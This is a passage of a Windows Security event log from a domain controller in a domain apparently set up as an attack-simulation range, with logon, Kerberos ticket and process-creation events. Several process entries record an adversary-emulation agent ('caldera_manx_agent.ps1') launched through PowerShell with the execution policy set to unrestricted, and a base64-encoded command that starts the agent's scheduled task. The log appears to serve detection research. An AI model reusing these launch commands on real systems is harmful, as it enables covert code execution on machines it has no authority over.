			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252790
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178292
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252789
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252788
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252787
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252786
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178225

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252785
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178225

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252784
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178225
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252783
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252782
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252781
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252780
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x176E55

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252779
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x174D1D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252778
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1730C1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252844
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x6d4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252843
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6d4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_manx_agent.ps1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252842
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178A74

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x674
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4d0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAEMAYQBsAGQAZQByAGEAQQBnAGUAbgB0AE0AYQBuAFgAIgA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252841
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17ADC6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252840
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17ADC6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2F3930C4-14F7-A550-8481-8F9AA5970FA1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252839
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2F3930C4-14F7-A550-8481-8F9AA5970FA1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252838
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2F3930C4-14F7-A550-8481-8F9AA5970FA1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252837
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252836
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178A74

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1034
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1068
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES8E7C.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCA62DD4B73A09426C926833B56182EF1C.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252835
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178A74

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1068
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4d0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\wibwzky2.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252887
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17ED31

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252886
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17ED31
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252885
